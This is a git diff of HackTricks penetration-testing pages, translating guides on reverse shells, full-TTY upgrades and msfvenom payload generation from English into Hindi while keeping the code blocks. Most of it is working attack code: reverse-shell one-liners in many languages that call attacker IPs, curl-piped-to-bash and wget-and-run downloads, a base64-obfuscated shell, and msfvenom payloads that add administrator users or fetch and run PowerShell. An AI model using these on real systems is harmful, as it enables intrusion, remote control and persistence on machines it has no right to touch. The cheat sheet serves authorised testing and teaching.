- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - ## Full TTY -Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`. +ध्यान दें कि `SHELL` वेरिएबल में सेट किया गया शेल **ज़रूर** _**/etc/shells**_ के अंदर **सूचीबद्ध** होना चाहिए या `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`। इसके अलावा, ध्यान दें कि अगले स्निप्पेट केवल bash में काम करते हैं। यदि आप zsh में हैं, तो शेल प्राप्त करने से पहले `bash` चलाकर bash में बदलें। #### Python - ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - > [!NOTE] -> You can get the **number** of **rows** and **columns** executing **`stty -a`** +> आप **`stty -a`** चलाकर **पंक्तियों** और **स्तंभों** की **संख्या** प्राप्त कर सकते हैं। #### script - ```bash script /dev/null -qc /bin/bash #/dev/null is to not store anything (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - #### socat - ```bash #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 @@ -39,8 +28,7 @@ socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ``` - -### **Spawn shells** +### **शेल उत्पन्न करें** - `python -c 'import pty; pty.spawn("/bin/sh")'` - `echo os.system('/bin/bash')` @@ -57,39 +45,32 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ## ReverseSSH -A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target. +**इंटरएक्टिव शेल एक्सेस**, साथ ही **फाइल ट्रांसफर** और **पोर्ट फॉरवर्डिंग** के लिए एक सुविधाजनक तरीका है लक्षित पर स्थिर-लिंक्ड ssh सर्वर [ReverseSSH](https://github.com/Fahrj/reverse-ssh) को डालना। -Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/). - -1. Prepare locally to catch the ssh port forwarding request: +नीचे `x86` के लिए एक उदाहरण है जिसमें upx-संपीड़ित बाइनरी हैं। अन्य बाइनरी के लिए, [रिलीज़ पृष्ठ](https://github.com/Fahrj/reverse-ssh/releases/latest/) देखें। +1. ssh पोर्ट फॉरवर्डिंग अनुरोध को पकड़ने के लिए स्थानीय रूप से तैयार करें: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -v -l -p 4444 ``` - -- (2a) Linux target: - +- (2a) लिनक्स लक्ष्य: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -p 4444 kali@10.0.0.2 ``` - -- (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)): - +- (2b) Windows 10 लक्ष्य (पुरानी संस्करणों के लिए, [प्रोजेक्ट रीडमी](https://github.com/Fahrj/reverse-ssh#features) देखें): ```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe reverse-ssh.exe -p 4444 kali@10.0.0.2 ``` - -- If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`: - +- यदि ReverseSSH पोर्ट फॉरवर्डिंग अनुरोध सफल रहा, तो आप अब उपयोगकर्ता के संदर्भ में डिफ़ॉल्ट पासवर्ड `letmeinbrudipls` के साथ लॉग इन करने में सक्षम होना चाहिए जो `reverse-ssh(.exe)` चला रहा है: ```bash # Interactive shell access ssh -p 8888 127.0.0.1 @@ -97,25 +78,16 @@ ssh -p 8888 127.0.0.1 # Bidirectional file transfer sftp -P 8888 127.0.0.1 ``` - ## Penelope -[Penelope](https://github.com/brightio/penelope) automatically upgrades Linux reverse shells to TTY, handles the terminal size, logs everything and much more. Also it provides readline support for Windows shells. +[Penelope](https://github.com/brightio/penelope) स्वचालित रूप से Linux रिवर्स शेल को TTY में अपग्रेड करता है, टर्मिनल के आकार को संभालता है, सब कुछ लॉग करता है और बहुत कुछ। यह Windows शेल के लिए readline समर्थन भी प्रदान करता है। ![penelope](https://github.com/user-attachments/assets/27ab4b3a-780c-4c07-a855-fd80a194c01e) ## No TTY -If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file: - +यदि किसी कारणवश आप पूर्ण TTY प्राप्त नहीं कर सकते हैं, तो आप **फिर भी उन कार्यक्रमों के साथ इंटरैक्ट कर सकते हैं** जो उपयोगकर्ता इनपुट की अपेक्षा करते हैं। निम्नलिखित उदाहरण में, पासवर्ड को `sudo` के माध्यम से एक फ़ाइल पढ़ने के लिए पास किया जाता है: ```bash expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "";send "\r\n";interact' ``` - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/linux.md b/src/generic-hacking/reverse-shells/linux.md index c1caa101d..9ed4cd083 100644 --- a/src/generic-hacking/reverse-shells/linux.md +++ b/src/generic-hacking/reverse-shells/linux.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com) +**यदि आपके पास इन शेल्स के बारे में कोई प्रश्न हैं, तो आप उन्हें** [**https://explainshell.com/**](https://explainshell.com) **से चेक कर सकते हैं।** ## Full TTY -**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.** +**एक बार जब आपको एक रिवर्स शेल मिल जाए**[ **तो पूर्ण TTY प्राप्त करने के लिए इस पृष्ठ को पढ़ें**](full-ttys.md)**।** ## Bash | sh - ```bash curl https://reverse-shell.sh/1.1.1.1:3000 | bash bash -i >& /dev/tcp// 0>&1 @@ -22,11 +21,9 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; #after getting the previous shell to get the output to execute exec >&0 ``` +अन्य शेल के साथ जांचना न भूलें: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, और bash। -Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash. - -### Symbol safe shell - +### प्रतीक सुरक्षित शेल ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -35,74 +32,66 @@ bash -c 'bash -i >& /dev/tcp// 0>&1' #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` - #### Shell explanation -1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell. -2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**. -3. **`/dev/tcp//`**: This is a special file that **represents a TCP connection to the specified IP address and port**. - - By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine. -4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**. +1. **`bash -i`**: इस कमांड का यह भाग एक इंटरैक्टिव (`-i`) Bash शेल शुरू करता है। +2. **`>&`**: इस कमांड का यह भाग **मानक आउटपुट** (`stdout`) और **मानक त्रुटि** (`stderr`) को **एक ही गंतव्य** पर पुनर्निर्देशित करने के लिए एक संक्षिप्त नोटेशन है। +3. **`/dev/tcp//`**: यह एक विशेष फ़ाइल है जो **निर्दिष्ट IP पते और पोर्ट के लिए एक TCP कनेक्शन का प्रतिनिधित्व करती है**। +- **इस फ़ाइल पर आउटपुट और त्रुटि धाराओं को पुनर्निर्देशित करके**, कमांड प्रभावी रूप से इंटरैक्टिव शेल सत्र का आउटपुट हमलावर की मशीन पर भेजता है। +4. **`0>&1`**: इस कमांड का यह भाग **मानक इनपुट (`stdin`) को मानक आउटपुट (`stdout`) के समान गंतव्य पर पुनर्निर्देशित करता है**। ### Create in file and execute - ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` - ## Forward Shell -When dealing with a **Remote Code Execution (RCE)** vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively. +जब एक Linux-आधारित वेब एप्लिकेशन में **Remote Code Execution (RCE)** कमजोरियों का सामना कर रहे हों, तो एक रिवर्स शेल प्राप्त करना नेटवर्क सुरक्षा जैसे iptables नियमों या जटिल पैकेट फ़िल्टरिंग तंत्रों द्वारा बाधित हो सकता है। ऐसे सीमित वातावरण में, एक वैकल्पिक दृष्टिकोण एक PTY (Pseudo Terminal) शेल स्थापित करना है ताकि समझौता किए गए सिस्टम के साथ अधिक प्रभावी ढंग से बातचीत की जा सके। -A recommended tool for this purpose is [toboggan](https://github.com/n3rada/toboggan.git), which simplifies interaction with the target environment. - -To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named `nix.py` could be structured as follows: +इस उद्देश्य के लिए एक अनुशंसित उपकरण [toboggan](https://github.com/n3rada/toboggan.git) है, जो लक्षित वातावरण के साथ बातचीत को सरल बनाता है। +toboggan का प्रभावी ढंग से उपयोग करने के लिए, अपने लक्षित सिस्टम के RCE संदर्भ के लिए एक Python मॉड्यूल बनाएं। उदाहरण के लिए, `nix.py` नामक एक मॉड्यूल को इस प्रकार संरचित किया जा सकता है: ```python3 import jwt import httpx def execute(command: str, timeout: float = None) -> str: - # Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution - token = jwt.encode( - {"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" - ) +# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution +token = jwt.encode( +{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" +) - response = httpx.get( - url="https://vulnerable.io:3200", - headers={"Authorization": f"Bearer {token}"}, - timeout=timeout, - # ||BURP|| - verify=False, - ) +response = httpx.get( +url="https://vulnerable.io:3200", +headers={"Authorization": f"Bearer {token}"}, +timeout=timeout, +# ||BURP|| +verify=False, +) - # Check if the request was successful - response.raise_for_status() +# Check if the request was successful +response.raise_for_status() - return response.text +return response.text ``` - -And then, you can run: - +और फिर, आप चला सकते हैं: ```shell toboggan -m nix.py -i ``` +एक इंटरैक्टिव शेल का सीधे उपयोग करने के लिए। आप Burpsuite एकीकरण के लिए `-b` जोड़ सकते हैं और एक अधिक बुनियादी rce wrapper के लिए `-i` हटा सकते हैं। -To directly leverage an interractive shell. You can add `-b` for Burpsuite integration and remove the `-i` for a more basic rce wrapper. +एक और संभावना `IppSec` फॉरवर्ड शेल कार्यान्वयन का उपयोग करना है [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)। -Another possibility consist using the `IppSec` forward shell implementation [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). +आपको बस निम्नलिखित को संशोधित करने की आवश्यकता है: -You just need to modify: +- कमजोर होस्ट का URL +- आपके पेलोड का उपसर्ग और प्रत्यय (यदि कोई हो) +- पेलोड भेजने का तरीका (हेडर? डेटा? अतिरिक्त जानकारी?) -- The URL of the vulnerable host -- The prefix and suffix of your payload (if any) -- The way the payload is sent (headers? data? extra info?) - -Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay). +फिर, आप बस **कमांड भेज सकते हैं** या यहां तक कि **`upgrade` कमांड का उपयोग कर सकते हैं** ताकि एक पूर्ण PTY प्राप्त कर सकें (ध्यान दें कि पाइप लगभग 1.3 सेकंड की देरी के साथ पढ़े और लिखे जाते हैं)। ## Netcat - ```bash nc -e /bin/sh nc | /bin/sh #Blind @@ -110,42 +99,32 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp nc | /bin/bash | nc rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## gsocket -Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) - +इसे [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) पर जांचें ```bash bash -c "$(curl -fsSL gsocket.io/x)" ``` - -## Telnet - +## टेलनेट ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## Whois -**Attacker** - +**हमलावर** ```bash while true; do nc -l ; done ``` +कमांड भेजने के लिए इसे लिखें, एंटर दबाएं और CTRL+D दबाएं (STDIN को रोकने के लिए) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**शिकार** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` - -## Python - +## पायथन ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' @@ -153,23 +132,17 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC #IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` - -## Perl - +## पर्ल ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - -## Ruby - +## रूबी ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## PHP - ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. @@ -181,51 +154,41 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` - -## Java - +## जावा ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` - ## Ncat - ```bash victim> ncat --ssl -c "bash -i 2>&1" attacker> ncat -l --ssl ``` - -## Golang - +## गोलेनग ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` - -## Lua - +## लुआ ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## NodeJS - ```javascript (function(){ - var net = require("net"), - cp = require("child_process"), - sh = cp.spawn("/bin/sh", []); - var client = new net.Socket(); - client.connect(8080, "10.17.26.64", function(){ - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); - }); - return /a/; // Prevents the Node.js application form crashing +var net = require("net"), +cp = require("child_process"), +sh = cp.spawn("/bin/sh", []); +var client = new net.Socket(); +client.connect(8080, "10.17.26.64", function(){ +client.pipe(sh.stdin); +sh.stdout.pipe(client); +sh.stderr.pipe(client); +}); +return /a/; // Prevents the Node.js application form crashing })(); @@ -256,19 +219,15 @@ or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` - ## OpenSSL -The Attacker (Kali) - +हमलावर (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -The Victim - +शिकार ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -276,103 +235,84 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### बाइंड शेल ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` - -### Reverse shell - +### रिवर्स शेल ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - -## Awk - +## awk ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` - ## Finger -**Attacker** - +**हमलावर** ```bash while true; do nc -l 79; done ``` +कमांड भेजने के लिए इसे लिखें, एंटर दबाएं और CTRL+D दबाएं (STDIN को रोकने के लिए) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**शिकार** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` - ## Gawk - ```bash #!/usr/bin/gawk -f BEGIN { - Port = 8080 - Prompt = "bkd> " +Port = 8080 +Prompt = "bkd> " - Service = "/inet/tcp/" Port "/0/0" - while (1) { - do { - printf Prompt |& Service - Service |& getline cmd - if (cmd) { - while ((cmd |& getline) > 0) - print $0 |& Service - close(cmd) - } - } while (cmd != "exit") - close(Service) - } +Service = "/inet/tcp/" Port "/0/0" +while (1) { +do { +printf Prompt |& Service +Service |& getline cmd +if (cmd) { +while ((cmd |& getline) > 0) +print $0 |& Service +close(cmd) +} +} while (cmd != "exit") +close(Service) +} } ``` - ## Xterm -This will try to connect to your system at port 6001: - +यह आपके सिस्टम से पोर्ट 6001 पर कनेक्ट करने की कोशिश करेगा: ```bash xterm -display 10.0.0.1:1 ``` - -To catch the reverse shell you can use (which will listen in port 6001): - +रिवर्स शेल को पकड़ने के लिए आप इसका उपयोग कर सकते हैं (जो पोर्ट 6001 पर सुनता है): ```bash # Authorize host xhost +targetip # Listen Xnest :1 ``` - ## Groovy -by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy - +by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) नोट: Java reverse shell Groovy के लिए भी काम करता है ```bash String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` - -## References +## संदर्भ - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell) diff --git a/src/generic-hacking/reverse-shells/msfvenom.md b/src/generic-hacking/reverse-shells/msfvenom.md index 49444f77b..fe03fdc98 100644 --- a/src/generic-hacking/reverse-shells/msfvenom.md +++ b/src/generic-hacking/reverse-shells/msfvenom.md @@ -2,38 +2,20 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - --- ## Basic msfvenom `msfvenom -p -e -f -i LHOST=` -One can also use the `-a` to specify the architecture or the `--platform` +कोई भी `-a` का उपयोग करके आर्किटेक्चर निर्दिष्ट कर सकता है या `--platform` का उपयोग कर सकता है। ## Listing - ```bash msfvenom -l payloads #Payloads msfvenom -l encoders #Encoders ``` - -## Common params when creating a shellcode - +## शेलकोड बनाने के लिए सामान्य पैरामीटर ```bash -b "\x00\x0a\x0d" -f c @@ -41,162 +23,106 @@ msfvenom -l encoders #Encoders EXITFUNC=thread PrependSetuid=True #Use this to create a shellcode that will execute something with SUID ``` +## **विंडोज़** -## **Windows** - -### **Reverse Shell** - +### **रिवर्स शेल** ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe ``` - -### Bind Shell - +### बाइंड शेल ```bash msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe ``` - -### Create User - +### उपयोगकर्ता बनाएं ```bash msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe ``` - -### CMD Shell - +### CMD शेल ```bash msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe ``` - -### **Execute Command** - +### **कमांड निष्पादित करें** ```bash msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe ``` - -### Encoder - +### एन्कोडर ```bash msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe ``` - -### Embedded inside executable - +### निष्पादन योग्य के अंदर एम्बेडेड ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe ``` - ## Linux Payloads -### Reverse Shell - +### रिवर्स शेल ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf ``` - -### Bind Shell - +### बाइंड शेल ```bash msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf ``` - ### SunOS (Solaris) - ```bash msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf ``` - ## **MAC Payloads** ### **Reverse Shell:** - ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho ``` - -### **Bind Shell** - +### **बाइंड शेल** ```bash msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho ``` - -## **Web Based Payloads** +## **वेब आधारित पेलोड्स** ### **PHP** -#### Reverse shel**l** - +#### रिवर्स शेल ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php ``` - ### ASP/x -#### Reverse shell - +#### रिवर्स शेल ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx ``` - ### JSP -#### Reverse shell - +#### रिवर्स शेल ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp ``` - ### WAR -#### Reverse Shell - +#### रिवर्स शेल ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war ``` - ### NodeJS - ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) ``` +## **स्क्रिप्ट भाषा पेलोड** -## **Script Language payloads** - -### **Perl** - +### **पर्ल** ```bash msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl ``` - -### **Python** - +### **पायथन** ```bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py ``` - -### **Bash** - +### **बैश** ```bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh ``` - -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index 4bf4f6792..64eef496e 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -4,37 +4,30 @@ ## Lolbas -The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\ -Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.** +पृष्ठ [lolbas-project.github.io](https://lolbas-project.github.io/) Windows के लिए है जैसे [https://gtfobins.github.io/](https://gtfobins.github.io/) linux के लिए है।\ +स्पष्ट रूप से, **Windows में SUID फ़ाइलें या sudo विशेषाधिकार नहीं हैं**, लेकिन यह जानना उपयोगी है **कैसे** कुछ **बाइनरी** का (दुरुपयोग) किया जा सकता है ताकि कुछ अप्रत्याशित क्रियाएँ की जा सकें जैसे **मनमाना कोड निष्पादित करना।** ## NC - ```bash nc.exe -e cmd.exe ``` - ## NCAT -victim - +शिकार ``` ncat.exe -e "cmd.exe /c (cmd.exe 2>&1)" #Encryption to bypass firewall ncat.exe --ssl -e "cmd.exe /c (cmd.exe 2>&1)" ``` - -attacker - +हमलावर ``` ncat -l #Encryption to bypass firewall ncat -l --ssl ``` - ## SBD -**[sbd](https://www.kali.org/tools/sbd/) is a portable and secure Netcat alternative**. It works on Unix-like systems and Win32. With features like strong encryption, program execution, customizable source ports, and continuous reconnection, sbd provides a versatile solution for TCP/IP communication. For Windows users, the sbd.exe version from the Kali Linux distribution can be used as a reliable replacement for Netcat. - +**[sbd](https://www.kali.org/tools/sbd/) एक पोर्टेबल और सुरक्षित Netcat विकल्प है**। यह Unix-जैसे सिस्टम और Win32 पर काम करता है। मजबूत एन्क्रिप्शन, प्रोग्राम निष्पादन, अनुकूलन योग्य स्रोत पोर्ट और निरंतर पुन: कनेक्शन जैसी सुविधाओं के साथ, sbd TCP/IP संचार के लिए एक 